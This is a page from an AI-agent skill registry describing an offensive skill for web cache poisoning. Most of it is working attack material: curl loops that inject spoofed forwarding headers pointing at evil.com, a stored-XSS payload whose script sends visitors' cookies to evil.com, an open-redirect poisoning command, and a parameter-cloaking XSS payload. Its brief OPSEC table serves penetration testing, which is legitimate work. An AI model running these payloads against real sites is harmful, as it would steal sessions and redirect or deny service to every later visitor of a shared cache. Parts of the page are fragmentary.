Unkeyed-input cache poisoning — X-Forwarded-Host/Scheme/Port, X-Original-URL, fat-GET, parameter cloaking, oversized-header DoS, and chains to stored-XSS / open redirect via shared caches.
69
85%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.
Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.
URL="https://<TARGET>/"
# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"
# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
"X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
"X-Host: evil.com" "X-Original-URL: /admin" \
"X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
"Forwarded: host=evil.com"; do
echo "== $H =="
curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done
# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com" # if present → poisoned| Class | Trigger | Outcome |
|---|---|---|
| Standard unkeyed header | X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs | stored open-redirect / XSS |
| Scheme downgrade | X-Forwarded-Scheme: http reflected | force-HTTP cache → MITM |
| Port confusion | X-Forwarded-Port: 1 reflected into JS asset URLs | broken site DoS |
| Routing override | X-Original-URL: /admin, X-Rewrite-URL | cached admin page served to public |
| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |
| Parameter cloaking | ?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa) | poisoned param survives |
| Key normalization flaw | cache lowercases path, origin doesn't (or strips ;jsessionid) | desync key vs. response |
Cache-key injection via Vary gap | response varies on header cache doesn't include | per-attacker poisoning |
| HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning |
| Cache-Control overlap | origin returns Cache-Control: private, CDN ignores it | private response cached globally |
| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |
| 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS |
# Origin reflects X-Forwarded-Host into <meta property="og:url">
curl -s "https://<TARGET>/?cb=$RANDOM" \
-H 'X-Forwarded-Host: a"><script>fetch("https://evil.com/?c="+document.cookie)</script><x="'
# Verify cache HIT for the next visitor:
curl -s "https://<TARGET>/?cb=$RANDOM" | grep -o 'evil\.com'curl -s "https://<TARGET>/login?cb=$RANDOM" -H "X-Forwarded-Host: evil.com" -o /dev/null
# Subsequent victims:
curl -sI "https://<TARGET>/login?cb=$RANDOM" | grep -i location
# → Location: https://evil.com/login (cached for the TTL)curl -s "https://<TARGET>/?utm=clean&utm=%22%3E%3Csvg/onload=alert(1)%3E"/login to send creds to attacker via swapped form action.cache-poisoning payload lists (PortSwigger research)httpx -follow-redirects -title -tech-detect for fingerprinting Vary/X-Cache| Indicator | Detection method | OPSEC note |
|---|---|---|
Repeated X-Forwarded-* permutations on one URL | WAF rule / access log | Cache-bust with ?cb=$RANDOM per probe; do NOT poison shared paths during tests |
| Sudden cache HIT containing attacker host | CDN log review | Use a unique sentinel host you can prove you own |
Mass Age: 0 on poisoned paths | CDN metric | Coordinate purge with the defender before disclosure |
X-Cache: HIT, Age: ticks)finding-protocol; otherwise downgrade.0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.